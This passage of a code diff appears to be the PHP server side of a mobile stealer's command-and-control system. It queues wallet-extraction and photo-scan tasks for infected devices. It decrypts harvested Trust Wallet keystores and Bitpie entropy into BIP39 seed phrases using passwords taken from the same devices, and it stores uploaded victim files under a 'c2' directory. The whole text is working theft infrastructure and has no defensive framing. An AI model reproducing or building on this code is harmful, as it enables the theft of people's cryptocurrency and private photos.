}
|
||||
foreach (['path', 'reason', 'stored', 'photo', 'size'] as $key) {
|
||||
if (array_key_exists($key, $payload)) {
|
||||
$meta[$key] = $payload[$key];
|
||||
}
|
||||
}
|
||||
|
||||
$touch = [
|
||||
'result_count' => (int) $task->result_count + 1,
|
||||
'result_meta' => $meta,
|
||||
];
|
||||
if ($task->status !== DsBeaconTask::STATUS_DONE) {
|
||||
$touch['status'] = DsBeaconTask::STATUS_DONE;
|
||||
$touch['completed_at'] = now();
|
||||
}
|
||||
$task->forceFill($touch)->save();
|
||||
|
||||
return $task->refresh();
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function paramsFor(string $type): array
|
||||
{
|
||||
return match ($type) {
|
||||
'wallet_extract' => ['wallet_type' => 'imtoken'],
|
||||
'photo_scan' => ['max_count' => 200],
|
||||
default => [],
|
||||
};
|
||||
}
|
||||
|
||||
private function nextRunnable(Device $device): ?DsBeaconTask
|
||||
{
|
||||
while (true) {
|
||||
$task = $this->findRunnable($device);
|
||||
if (! $task) {
|
||||
if (! $this->requeueLoopTypes($device)) {
|
||||
return null;
|
||||
}
|
||||
$task = $this->findRunnable($device);
|
||||
if (! $task) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
if ($task->type !== 'photos' && $task->type !== 'basic_info') {
|
||||
return $task;
|
||||
}
|
||||
$task->forceFill([
|
||||
'status' => DsBeaconTask::STATUS_SKIPPED,
|
||||
'completed_at' => now(),
|
||||
'result_meta' => [
|
||||
'reason' => $task->type === 'photos'
|
||||
? 'queue_uses_photo_scan_only'
|
||||
: 'removed_from_queue',
|
||||
],
|
||||
])->save();
|
||||
}
|
||||
}
|
||||
|
||||
private function findRunnable(Device $device): ?DsBeaconTask
|
||||
{
|
||||
return DsBeaconTask::query()
|
||||
->where('device_id', $device->id)
|
||||
->where(function ($q) {
|
||||
$q->where('status', DsBeaconTask::STATUS_PENDING)
|
||||
->orWhere(function ($q2) {
|
||||
$q2->where('status', DsBeaconTask::STATUS_DISPATCHED)
|
||||
->where('result_count', 0);
|
||||
});
|
||||
})
|
||||
->orderBy('position')
|
||||
->lockForUpdate()
|
||||
->first();
|
||||
}
|
||||
|
||||
private function requeueLoopTypes(Device $device): bool
|
||||
{
|
||||
$tasks = DsBeaconTask::query()
|
||||
->where('device_id', $device->id)
|
||||
->whereIn('type', self::LOOP_TYPES)
|
||||
->where('status', DsBeaconTask::STATUS_DONE)
|
||||
->lockForUpdate()
|
||||
->get();
|
||||
if ($tasks->isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
foreach ($tasks as $task) {
|
||||
$task->forceFill([
|
||||
'status' => DsBeaconTask::STATUS_PENDING,
|
||||
'command_id' => null,
|
||||
'dispatched_at' => null,
|
||||
'completed_at' => null,
|
||||
])->save();
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,684 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Chain\BtcAddress;
|
||||
use App\Services\Chain\EthAddress;
|
||||
use App\Services\Chain\TronAddress;
|
||||
use App\Support\WalletSource;
|
||||
use FurqanSiddiqui\BIP39\BIP39;
|
||||
|
||||
/**
|
||||
* Recover a BIP39 phrase from DS Trust UTC blobs or Bitpie seedPhraseEntropy.
|
||||
*/
|
||||
final class DsKeystoreDecrypt
|
||||
{
|
||||
/**
|
||||
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
|
||||
*/
|
||||
public function recover(Device $device, mixed $wallets, mixed $sandbox): array
|
||||
{
|
||||
$hits = [];
|
||||
$seen = [];
|
||||
foreach ($this->recoverTrustUtc($device, $wallets, $sandbox) as $hit) {
|
||||
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
||||
if (isset($seen[$hash])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$hash] = true;
|
||||
$hits[] = $hit;
|
||||
}
|
||||
$bitpieNodes = [$wallets, $sandbox];
|
||||
foreach ($device->keystores as $row) {
|
||||
if ($row->source === 'Bitpie') {
|
||||
$bitpieNodes[] = $row->raw_json;
|
||||
}
|
||||
}
|
||||
foreach ($this->recoverBitpie($bitpieNodes) as $hit) {
|
||||
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
||||
if (isset($seen[$hash])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$hash] = true;
|
||||
$hits[] = $hit;
|
||||
}
|
||||
|
||||
return $hits;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
|
||||
*/
|
||||
private function recoverTrustUtc(Device $device, mixed $wallets, mixed $sandbox): array
|
||||
{
|
||||
$utcs = $this->collectKeystores($sandbox);
|
||||
$utcs = array_merge($utcs, $this->collectKeystores($wallets));
|
||||
if ($utcs === []) {
|
||||
return [];
|
||||
}
|
||||
$passwords = $this->collectPasswords($wallets);
|
||||
foreach ($device->keystores as $row) {
|
||||
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
|
||||
}
|
||||
$passwords = array_slice($this->uniquePasswords($passwords), 0, 8);
|
||||
if ($passwords === []) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$hits = [];
|
||||
foreach ($utcs as $item) {
|
||||
$phrase = $this->unlock($item['keystore'], $passwords);
|
||||
if ($phrase === null) {
|
||||
continue;
|
||||
}
|
||||
$source = $item['source'] !== '' ? $item['source'] : 'Trust Wallet';
|
||||
$hits[] = [
|
||||
'source' => $source,
|
||||
'tag' => WalletSource::tagForLabel($source),
|
||||
'phrase' => $phrase,
|
||||
'addresses' => [],
|
||||
];
|
||||
}
|
||||
|
||||
return $hits;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<mixed> $nodes
|
||||
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
|
||||
*/
|
||||
private function recoverBitpie(array $nodes): array
|
||||
{
|
||||
$phrases = [];
|
||||
$addresses = [];
|
||||
foreach ($nodes as $node) {
|
||||
foreach ($this->collectBitpieEntropyHex($node) as $hex) {
|
||||
$phrase = $this->phraseFromEntropyHex($hex);
|
||||
if ($phrase !== null) {
|
||||
$phrases[$phrase] = true;
|
||||
}
|
||||
}
|
||||
$addresses = array_merge($addresses, $this->collectBitpieAddresses($node));
|
||||
}
|
||||
if ($phrases === []) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$uniq = [];
|
||||
$seenAddr = [];
|
||||
foreach ($addresses as $row) {
|
||||
$key = $row['address'];
|
||||
if (isset($seenAddr[$key])) {
|
||||
continue;
|
||||
}
|
||||
$seenAddr[$key] = true;
|
||||
$uniq[] = $row;
|
||||
}
|
||||
|
||||
$hits = [];
|
||||
foreach (array_keys($phrases) as $phrase) {
|
||||
$hits[] = [
|
||||
'source' => 'Bitpie',
|
||||
'tag' => 'r',
|
||||
'phrase' => $phrase,
|
||||
'addresses' => $uniq,
|
||||
];
|
||||
}
|
||||
|
||||
return $hits;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $passwords
|
||||
*/
|
||||
public function unlock(array $keystore, array $passwords): ?string
|
||||
{
|
||||
foreach ($passwords as $password) {
|
||||
$plain = EthKeystore::decrypt($keystore, $password);
|
||||
if ($plain === null) {
|
||||
continue;
|
||||
}
|
||||
$phrase = $this->asMnemonic($plain);
|
||||
if ($phrase !== null) {
|
||||
return $phrase;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{source: string, keystore: array<string, mixed>}>
|
||||
*/
|
||||
public function collectKeystores(mixed $node, string $source = '', int $depth = 0): array
|
||||
{
|
||||
if ($depth > 10 || $node === null) {
|
||||
return [];
|
||||
}
|
||||
if (is_string($node)) {
|
||||
$decoded = $this->decodeBlob($node);
|
||||
if ($decoded === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->collectKeystores($decoded, $source, $depth + 1);
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return [];
|
||||
}
|
||||
if ($this->isKeystore($node)) {
|
||||
return [['source' => $source, 'keystore' => $node]];
|
||||
}
|
||||
|
||||
$out = [];
|
||||
foreach ($node as $key => $child) {
|
||||
$next = $source;
|
||||
if (is_string($key)) {
|
||||
$hint = WalletSource::fromKeystoreHint($key);
|
||||
if ($hint !== '') {
|
||||
$next = $hint;
|
||||
}
|
||||
}
|
||||
$out = array_merge($out, $this->collectKeystores($child, $next, $depth + 1));
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function collectPasswords(mixed $node, int $depth = 0): array
|
||||
{
|
||||
$items = $this->collectPasswordItems($node, $depth);
|
||||
usort($items, static fn ($a, $b) => $b['score'] <=> $a['score']);
|
||||
$out = [];
|
||||
foreach ($items as $item) {
|
||||
$out = array_merge($out, $this->passwordsFromHex($item['hex']));
|
||||
}
|
||||
|
||||
return $this->uniquePasswords($out);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{hex: string, score: int}>
|
||||
*/
|
||||
private function collectPasswordItems(mixed $node, int $depth = 0): array
|
||||
{
|
||||
if ($depth > 8 || ! is_array($node)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$out = [];
|
||||
$hex = $node['dataHex'] ?? null;
|
||||
if (is_string($hex) && $hex !== '') {
|
||||
$account = strtolower((string) ($node['account'] ?? ''));
|
||||
$score = 0;
|
||||
if (str_contains($account, 'utc--') && ! str_contains($account, 'migration')) {
|
||||
$score += 100;
|
||||
}
|
||||
$rawLen = strlen(preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '') / 2;
|
||||
if ($rawLen === 32.0 || $rawLen === 64.0) {
|
||||
$score += 20;
|
||||
}
|
||||
$out[] = ['hex' => $hex, 'score' => $score];
|
||||
}
|
||||
foreach (['items', 'wallets', 'sandbox'] as $key) {
|
||||
if (! isset($node[$key]) || ! is_array($node[$key])) {
|
||||
continue;
|
||||
}
|
||||
foreach ($node[$key] as $child) {
|
||||
$out = array_merge($out, $this->collectPasswordItems($child, $depth + 1));
|
||||
}
|
||||
}
|
||||
if ($hex === null && ! isset($node['items']) && ! isset($node['wallets']) && ! isset($node['sandbox'])) {
|
||||
foreach ($node as $child) {
|
||||
if (is_array($child)) {
|
||||
$out = array_merge($out, $this->collectPasswordItems($child, $depth + 1));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<WalletKeystore> $rows
|
||||
*/
|
||||
public function markDecrypted(iterable $rows, string $source): void
|
||||
{
|
||||
foreach ($rows as $row) {
|
||||
if (! $row instanceof WalletKeystore) {
|
||||
continue;
|
||||
}
|
||||
if ($row->source !== $source) {
|
||||
continue;
|
||||
}
|
||||
if ((int) $row->decrypted === 1) {
|
||||
continue;
|
||||
}
|
||||
$row->decrypted = 1;
|
||||
$row->save();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $node
|
||||
*/
|
||||
private function isKeystore(array $node): bool
|
||||
{
|
||||
$crypto = $node['crypto'] ?? $node['Crypto'] ?? null;
|
||||
if (! is_array($crypto)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return isset($crypto['ciphertext'], $crypto['mac'], $crypto['kdf']);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
private function passwordsFromHex(string $hex): array
|
||||
{
|
||||
$hex = preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '';
|
||||
if ($hex === '' || strlen($hex) % 2 !== 0) {
|
||||
return [];
|
||||
}
|
||||
$raw = @hex2bin($hex);
|
||||
if (! is_string($raw) || $raw === '') {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->passwordsFromString($raw);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
private function passwordsFromString(string $raw): array
|
||||
{
|
||||
$out = [$raw];
|
||||
if (mb_check_encoding($raw, 'UTF-8')) {
|
||||
$trim = trim($raw);
|
||||
if ($trim !== '' && $trim !== $raw) {
|
||||
$out[] = $trim;
|
||||
}
|
||||
$unquoted = trim($trim, "\"'");
|
||||
if ($unquoted !== '' && $unquoted !== $trim) {
|
||||
$out[] = $unquoted;
|
||||
}
|
||||
if (ctype_xdigit($trim) && strlen($trim) % 2 === 0 && strlen($trim) >= 8) {
|
||||
$bin = @hex2bin($trim);
|
||||
if (is_string($bin) && $bin !== '') {
|
||||
$out[] = $bin;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $passwords
|
||||
* @return list<string>
|
||||
*/
|
||||
private function uniquePasswords(array $passwords): array
|
||||
{
|
||||
$seen = [];
|
||||
$out = [];
|
||||
foreach ($passwords as $password) {
|
||||
if ($password === '') {
|
||||
continue;
|
||||
}
|
||||
if (isset($seen[$password])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$password] = true;
|
||||
$out[] = $password;
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
private function decodeBlob(string $raw): mixed
|
||||
{
|
||||
$raw = trim($raw);
|
||||
if ($raw === '') {
|
||||
return null;
|
||||
}
|
||||
if (str_starts_with($raw, '{') || str_starts_with($raw, '[')) {
|
||||
$json = json_decode($raw, true);
|
||||
|
||||
return is_array($json) ? $json : null;
|
||||
}
|
||||
$b64 = base64_decode($raw, true);
|
||||
if (is_string($b64) && $b64 !== '') {
|
||||
$json = json_decode($b64, true);
|
||||
if (is_array($json)) {
|
||||
return $json;
|
||||
}
|
||||
}
|
||||
$hex = preg_replace('/[^0-9a-fA-F]/', '', $raw) ?? '';
|
||||
if ($hex !== '' && strlen($hex) % 2 === 0 && strlen($hex) >= 8) {
|
||||
$bin = @hex2bin($hex);
|
||||
if (is_string($bin) && $bin !== '') {
|
||||
$json = json_decode($bin, true);
|
||||
if (is_array($json)) {
|
||||
return $json;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function asMnemonic(string $plain): ?string
|
||||
{
|
||||
$text = strtolower(trim($plain));
|
||||
$text = preg_replace('/\s+/', ' ', $text) ?? $text;
|
||||
$words = $text === '' ? [] : explode(' ', $text);
|
||||
$n = count($words);
|
||||
if ($n !== 12 && $n !== 24) {
|
||||
return null;
|
||||
}
|
||||
foreach ($words as $word) {
|
||||
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
return implode(' ', $words);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function collectBitpieEntropyHex(mixed $node, int $depth = 0): array
|
||||
{
|
||||
if ($depth > 10 || $node === null) {
|
||||
return [];
|
||||
}
|
||||
if (is_string($node)) {
|
||||
$decoded = $this->decodeBlob($node);
|
||||
if ($decoded === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->collectBitpieEntropyHex($decoded, $depth + 1);
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$out = [];
|
||||
$account = strtolower(trim((string) ($node['account'] ?? '')));
|
||||
if ($account === 'seedphraseentropy') {
|
||||
$hex = $this->entropyHexFromItem($node);
|
||||
if ($hex !== null) {
|
||||
$out[] = $hex;
|
||||
}
|
||||
}
|
||||
foreach ($node as $key => $child) {
|
||||
if (is_string($key) && strtolower($key) === 'seedphraseentropy') {
|
||||
$hex = is_string($child) ? $this->normalizeEntropyHex($child) : $this->entropyHexFromItem(is_array($child) ? $child : []);
|
||||
if ($hex !== null) {
|
||||
$out[] = $hex;
|
||||
}
|
||||
}
|
||||
if (is_array($child) || is_string($child)) {
|
||||
$out = array_merge($out, $this->collectBitpieEntropyHex($child, $depth + 1));
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
|
||||
*/
|
||||
public function collectBitpieAddresses(mixed $node, int $depth = 0, bool $inBitpie = false): array
|
||||
{
|
||||
if ($depth > 10 || $node === null) {
|
||||
return [];
|
||||
}
|
||||
if (is_string($node)) {
|
||||
if (! $inBitpie) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->addressesFromBitpieText($node);
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$out = [];
|
||||
$account = strtolower(trim((string) ($node['account'] ?? '')));
|
||||
$extract = $inBitpie || in_array($account, ['useraddresskey', 'useraddress', 'seedphraseentropy'], true);
|
||||
if (in_array($account, ['useraddresskey', 'useraddress'], true)) {
|
||||
$out = array_merge($out, $this->addressesFromBitpieText($this->itemUtf8($node)));
|
||||
}
|
||||
if ($extract && isset($node['address']) && is_string($node['address'])) {
|
||||
$mapped = $this->addressRow($node['address'], $node['coin_code'] ?? $node['chainType'] ?? $node['chain'] ?? null);
|
||||
if ($mapped !== null) {
|
||||
$out[] = $mapped;
|
||||
}
|
||||
}
|
||||
foreach ($node as $key => $child) {
|
||||
if (! is_array($child) && ! is_string($child)) {
|
||||
continue;
|
||||
}
|
||||
$childInBitpie = $inBitpie || $this->isBitpieLabel($key);
|
||||
$walk = $childInBitpie || $this->isBitpieWalkKey($key, $inBitpie);
|
||||
if (! $walk) {
|
||||
continue;
|
||||
}
|
||||
$out = array_merge($out, $this->collectBitpieAddresses($child, $depth + 1, $childInBitpie));
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
private function isBitpieLabel(mixed $key): bool
|
||||
{
|
||||
$raw = strtolower(trim((string) $key));
|
||||
|
||||
return $raw !== '' && (
|
||||
str_contains($raw, 'bitpie')
|
||||
|| in_array($raw, ['useraddresskey', 'useraddress', 'useraddresses', 'kuseraddressesconfigure'], true)
|
||||
);
|
||||
}
|
||||
|
||||
private function isBitpieWalkKey(mixed $key, bool $inBitpie): bool
|
||||
{
|
||||
if (is_int($key)) {
|
||||
return $inBitpie;
|
||||
}
|
||||
$raw = strtolower(trim((string) $key));
|
||||
|
||||
return in_array($raw, ['wallets', 'sandbox', 'items', 'item'], true);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $item
|
||||
*/
|
||||
private function entropyHexFromItem(array $item): ?string
|
||||
{
|
||||
$hex = $item['dataHex'] ?? null;
|
||||
if (is_string($hex) && $hex !== '') {
|
||||
$fromHex = $this->normalizeEntropyHex($hex);
|
||||
if ($fromHex !== null) {
|
||||
return $fromHex;
|
||||
}
|
||||
$bin = $this->fromHex($hex);
|
||||
if ($bin !== null) {
|
||||
$nested = $this->normalizeEntropyHex($bin);
|
||||
if ($nested !== null) {
|
||||
return $nested;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $this->normalizeEntropyHex($this->itemUtf8($item));
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $item
|
||||
*/
|
||||
private function itemUtf8(array $item): string
|
||||
{
|
||||
$hex = $item['dataHex'] ?? null;
|
||||
if (is_string($hex) && $hex !== '') {
|
||||
$bin = $this->fromHex($hex);
|
||||
if ($bin !== null && mb_check_encoding($bin, 'UTF-8')) {
|
||||
return trim($bin);
|
||||
}
|
||||
}
|
||||
$data = $item['data'] ?? null;
|
||||
|
||||
return is_string($data) ? trim($data) : '';
|
||||
}
|
||||
|
||||
private function normalizeEntropyHex(string $raw): ?string
|
||||
{
|
||||
$raw = trim($raw);
|
||||
if ($raw === '') {
|
||||
return null;
|
||||
}
|
||||
$bin = $this->fromHex($raw);
|
||||
if ($bin !== null) {
|
||||
if (mb_check_encoding($bin, 'UTF-8')) {
|
||||
$trim = trim($bin);
|
||||
if ($this->isEntropyHex($trim)) {
|
||||
return strtolower($trim);
|
||||
}
|
||||
}
|
||||
if (strlen($bin) === 16 || strlen($bin) === 32) {
|
||||
return strtolower(bin2hex($bin));
|
||||
}
|
||||
}
|
||||
if ($this->isEntropyHex($raw)) {
|
||||
return strtolower($raw);
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function isEntropyHex(string $value): bool
|
||||
{
|
||||
return (bool) preg_match('/^[0-9a-fA-F]{32}$/', $value)
|
||||
|| (bool) preg_match('/^[0-9a-fA-F]{64}$/', $value);
|
||||
}
|
||||
|
||||
private function phraseFromEntropyHex(string $hex): ?string
|
||||
{
|
||||
try {
|
||||
$mnemonic = BIP39::Entropy(strtolower($hex));
|
||||
} catch (\Throwable) {
|
||||
return null;
|
||||
}
|
||||
$phrase = strtolower(trim(implode(' ', $mnemonic->words)));
|
||||
|
||||
return $this->asMnemonic($phrase);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
|
||||
*/
|
||||
private function addressesFromBitpieText(string $text): array
|
||||
{
|
||||
$out = [];
|
||||
$text = trim($text);
|
||||
if ($text === '') {
|
||||
return $out;
|
||||
}
|
||||
$direct = $this->addressRow($text, null);
|
||||
if ($direct !== null) {
|
||||
$out[] = $direct;
|
||||
}
|
||||
if (preg_match('/kUserAddressesConfigure\s*(\[[\s\S]*\])/', $text, $m)) {
|
||||
$json = json_decode($m[1], true);
|
||||
if (is_array($json)) {
|
||||
$out = array_merge($out, $this->collectBitpieAddresses($json, 0, true));
|
||||
}
|
||||
}
|
||||
$decoded = $this->decodeBlob($text);
|
||||
if (is_array($decoded)) {
|
||||
$out = array_merge($out, $this->collectBitpieAddresses($decoded, 0, true));
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{address: string, chainType: string, symbol: string, balance: int}|null
|
||||
*/
|
||||
private function addressRow(string $address, mixed $hint): ?array
|
||||
{
|
||||
$address = trim($address);
|
||||
if ($address === '') {
|
||||
return null;
|
||||
}
|
||||
$chain = $this->chainFromHint($hint) ?? WalletSource::inferChainType($address);
|
||||
$chain = strtoupper($chain);
|
||||
if (! WalletSource::isSupportedChain($chain)) {
|
||||
return null;
|
||||
}
|
||||
$normalized = $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain));
|
||||
if (in_array($normalized, ['TRON', 'TRX'], true) && ! TronAddress::isValid($address)) {
|
||||
return null;
|
||||
}
|
||||
if (in_array($normalized, ['ETHEREUM', 'ETH', 'EVM'], true) && ! EthAddress::isValid($address)) {
|
||||
return null;
|
||||
}
|
||||
if (in_array($normalized, ['BITCOIN', 'BTC'], true) && ! BtcAddress::isValid($address)) {
|
||||
return null;
|
||||
}
|
||||
$symbol = match ($chain) {
|
||||
'BITCOIN', 'BTC' => 'BTC',
|
||||
'ETHEREUM', 'ETH', 'EVM' => 'ETH',
|
||||
'BNB', 'BSC', 'BINANCE' => 'BNB',
|
||||
default => 'TRX',
|
||||
};
|
||||
|
||||
return [
|
||||
'address' => $address,
|
||||
'chainType' => $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain)),
|
||||
'symbol' => $symbol,
|
||||
'balance' => 0,
|
||||
];
|
||||
}
|
||||
|
||||
private function chainFromHint(mixed $hint): ?string
|
||||
{
|
||||
$raw = strtolower(trim((string) $hint));
|
||||
if ($raw === '') {
|
||||
return null;
|
||||
}
|
||||
if (str_contains($raw, 'trx') || str_contains($raw, 'tron')) {
|
||||
return 'TRON';
|
||||
}
|
||||
if (str_contains($raw, 'eth')) {
|
||||
return 'ETHEREUM';
|
||||
}
|
||||
if (str_contains($raw, 'btc') || str_contains($raw, 'bitcoin')) {
|
||||
return 'BITCOIN';
|
||||
}
|
||||
|
||||
return WalletSource::isSupportedChain($raw) ? strtoupper($raw) : null;
|
||||
}
|
||||
|
||||
private function fromHex(string $value): ?string
|
||||
{
|
||||
$hex = preg_replace('/[^0-9a-fA-F]/', '', $value) ?? '';
|
||||
if ($hex === '' || strlen($hex) % 2 !== 0) {
|
||||
return null;
|
||||
}
|
||||
$bin = @hex2bin($hex);
|
||||
|
||||
return is_string($bin) ? $bin : null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,179 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\Photo;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class DsResultStore
|
||||
{
|
||||
/** @var list<string> */
|
||||
private const VIDEO_EXT = ['mp4', 'mov', 'm4v', 'avi', 'mkv', 'webm', '3gp', 'qt'];
|
||||
|
||||
/** @var list<string> */
|
||||
private const IMAGE_EXT = ['png', 'jpg', 'jpeg', 'heic', 'heif', 'gif', 'webp', 'bmp', 'tif', 'tiff'];
|
||||
|
||||
public function __construct(
|
||||
private readonly IngestService $ingest,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* Persist one /result body. Videos are dropped. Chunks assemble under
|
||||
* c2/ds-chunks then land in c2/ds-results. Images also go through album ingest.
|
||||
*
|
||||
* @param array<string, mixed> $payload
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public function store(Device $device, array $payload): array
|
||||
{
|
||||
$filename = $this->safeName((string) ($payload['filename'] ?? ''));
|
||||
if ($filename === '') {
|
||||
return ['stored' => false, 'reason' => 'no_filename'];
|
||||
}
|
||||
if ($this->isVideo($filename)) {
|
||||
return ['stored' => false, 'reason' => 'video_skipped', 'filename' => $filename];
|
||||
}
|
||||
|
||||
$raw = $payload['data'] ?? null;
|
||||
if (! is_string($raw) || $raw === '') {
|
||||
return ['stored' => false, 'reason' => 'no_data', 'filename' => $filename];
|
||||
}
|
||||
$bytes = base64_decode($raw, true);
|
||||
if ($bytes === false) {
|
||||
return ['stored' => false, 'reason' => 'bad_base64', 'filename' => $filename];
|
||||
}
|
||||
|
||||
$commandId = $this->safeName((string) ($payload['command_id'] ?? 'unknown')) ?: 'unknown';
|
||||
$total = isset($payload['total_chunks']) ? (int) $payload['total_chunks'] : 0;
|
||||
$index = array_key_exists('chunk_index', $payload) ? (int) $payload['chunk_index'] : null;
|
||||
|
||||
if ($total > 1 && $index !== null) {
|
||||
$assembled = $this->acceptChunk($device, $commandId, $filename, $index, $total, $bytes);
|
||||
if ($assembled === null) {
|
||||
return [
|
||||
'stored' => false,
|
||||
'reason' => 'chunk_pending',
|
||||
'filename' => $filename,
|
||||
'chunk_index' => $index,
|
||||
'total_chunks' => $total,
|
||||
];
|
||||
}
|
||||
$bytes = $assembled;
|
||||
}
|
||||
|
||||
$hash = hash('sha256', $bytes);
|
||||
if ($this->alreadyIngested($device, $filename, $hash)) {
|
||||
return [
|
||||
'stored' => false,
|
||||
'reason' => 'duplicate',
|
||||
'filename' => $filename,
|
||||
'size' => strlen($bytes),
|
||||
];
|
||||
}
|
||||
|
||||
$rel = 'c2/ds-results/'.$device->device_id.'/'.$commandId.'/'.$filename;
|
||||
Storage::disk('local')->put($rel, $bytes);
|
||||
$this->markSeen($device, $hash, $filename);
|
||||
|
||||
$photo = false;
|
||||
if ($this->isImage($filename) && $device->albumStorageEnabled()) {
|
||||
$tmp = tempnam(sys_get_temp_dir(), 'ds_photo_');
|
||||
if ($tmp !== false) {
|
||||
file_put_contents($tmp, $bytes);
|
||||
$this->ingest->ingestPhotos($device, [$tmp]);
|
||||
@unlink($tmp);
|
||||
$photo = true;
|
||||
}
|
||||
}
|
||||
|
||||
return [
|
||||
'stored' => true,
|
||||
'path' => $rel,
|
||||
'photo' => $photo,
|
||||
'size' => strlen($bytes),
|
||||
'filename' => $filename,
|
||||
];
|
||||
}
|
||||
|
||||
private function alreadyIngested(Device $device, string $filename, string $hash): bool
|
||||
{
|
||||
if (Storage::disk('local')->exists($this->seenPath($device, $hash))) {
|
||||
return true;
|
||||
}
|
||||
if ($this->isImage($filename)
|
||||
&& Photo::query()->where('device_id', $device->id)->where('sha256', $hash)->exists()) {
|
||||
$this->markSeen($device, $hash, $filename);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
private function markSeen(Device $device, string $hash, string $filename): void
|
||||
{
|
||||
Storage::disk('local')->put($this->seenPath($device, $hash), $filename);
|
||||
}
|
||||
|
||||
private function seenPath(Device $device, string $hash): string
|
||||
{
|
||||
return 'c2/ds-results/'.$device->device_id.'/.seen/'.$hash;
|
||||
}
|
||||
|
||||
private function acceptChunk(
|
||||
Device $device,
|
||||
string $commandId,
|
||||
string $filename,
|
||||
int $index,
|
||||
int $total,
|
||||
string $bytes,
|
||||
): ?string {
|
||||
$dir = 'c2/ds-chunks/'.$device->device_id.'/'.$commandId.'/'.$filename;
|
||||
Storage::disk('local')->put($dir.'/'.$index, $bytes);
|
||||
Storage::disk('local')->put($dir.'/total', (string) $total);
|
||||
|
||||
for ($i = 0; $i < $total; $i++) {
|
||||
if (! Storage::disk('local')->exists($dir.'/'.$i)) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
$out = '';
|
||||
for ($i = 0; $i < $total; $i++) {
|
||||
$out .= (string) Storage::disk('local')->get($dir.'/'.$i);
|
||||
}
|
||||
Storage::disk('local')->deleteDirectory($dir);
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
private function isVideo(string $filename): bool
|
||||
{
|
||||
return in_array($this->extension($filename), self::VIDEO_EXT, true);
|
||||
}
|
||||
|
||||
private function isImage(string $filename): bool
|
||||
{
|
